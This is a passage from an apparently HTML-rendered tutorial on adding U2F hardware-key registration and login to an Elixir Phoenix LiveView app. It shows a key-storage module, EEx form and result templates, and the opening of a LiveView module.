&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;PKIStorageBehaviour&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_public_key_for_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key_handle&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;27&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;28&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;and&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key_handle&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key_handle&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;29&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;30&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;one&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;31&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;case&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;32&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;nil&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:public_key_not_found&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;33&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;public_key: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;public_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;34&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;35&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;36&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;37&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create_u2f_key&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx.KeyMetadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;key_metadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;38&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;merge&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;from_struct&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;key_metadata&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;username: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;39&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;40&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;41&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;changeset&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;attrs&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;42&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;insert&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;43&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;44&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;PKIStorage&lt;/code&gt;-module allows us to fetch the &lt;code&gt;key_handles&lt;/code&gt; and the &lt;code&gt;public_key&lt;/code&gt; for a user. It also offers a &lt;code&gt;create_u2f_key/2&lt;/code&gt;-method to register a new U2F-key for a user. Once again, please change the &lt;code&gt;username&lt;/code&gt; parameter to e.g. &lt;code&gt;user_id&lt;/code&gt;, if you establish the connection between &lt;code&gt;u2f_key&lt;/code&gt; and &lt;code&gt;user&lt;/code&gt; differently.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-templates-for-authentication&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-templates-for-authentication&quot;&gt;&lt;/a&gt;The Templates for Authentication&lt;/h2&gt;
&lt;p&gt;Let&apos;s add a simple template, which offers two forms: One form for registering a U2F-Key and one form for logging in with the U2F-key. For brevity, I put both forms into a single template. Feel free to separate them in your project.&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-eex&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# /lib/app_web/live/page_live.html.leex
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;# Register a U2F-key using a Phoenix LiveView
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;section class=&quot;phx-hero&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;f&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;form_for&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:registration&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;registration-form&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx_submit: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;start_registration&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx_hook: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Registration&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;%=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;text_input&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholder: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Choose a username...&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;%=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;submit&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Register&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;/form&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;/section&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;# Login with a U2F-Key using a Phoenix Controller
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;section class=&quot;phx-hero&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;  &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;f&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;form_for&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:login&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;id: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;login-form&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx_submit: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;start_login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;phx_hook: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Login&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;%=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;text_input&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:username&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;placeholder: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Enter your username...&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;%=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;submit&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Login&quot;&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;/form&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;&lt;/section&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The forms above allow us to register and log in. Let&apos;s create two more templates that show the result of the login attempt.&lt;/p&gt;
&lt;pre id=&quot;code-block-9&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-eex&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;# /lib/app_web/templates/login/success.html.eex
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;section&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;h1&gt;Success!&lt;/h1&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;h3&gt;You&amp;#39;re logged in as: &lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;username&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;/section&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;# /lib/app_web/templates/login/failure.html.eex
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;section&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;h1&gt;Error!&lt;/h1&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;h3&gt;Could not log you in:&lt;/h3&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;h2&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt;&lt;%=&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color: #7ee787;&quot;&gt; %&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;/section&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-liveview-for-authentication&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-liveview-for-authentication&quot;&gt;&lt;/a&gt;The LiveView for Authentication&lt;/h2&gt;
&lt;p&gt;Now, let&apos;s get to the interesting parts. First, we need to write a LiveView that handles registering a U2F-device and subsequently logging in with it. I will paste the entire module here first and then discuss its functions:&lt;/p&gt;
&lt;pre id=&quot;code-block-10&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# /lib/app_web/live/page_live.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb.PageLive&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;AppWeb&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:live_view&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;require&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Logger&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;PKIStorage&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FKey&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;U2FEx.KeyMetadata&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;mount&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_params&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_session&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;impl &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;handle_event&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;start_registration&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
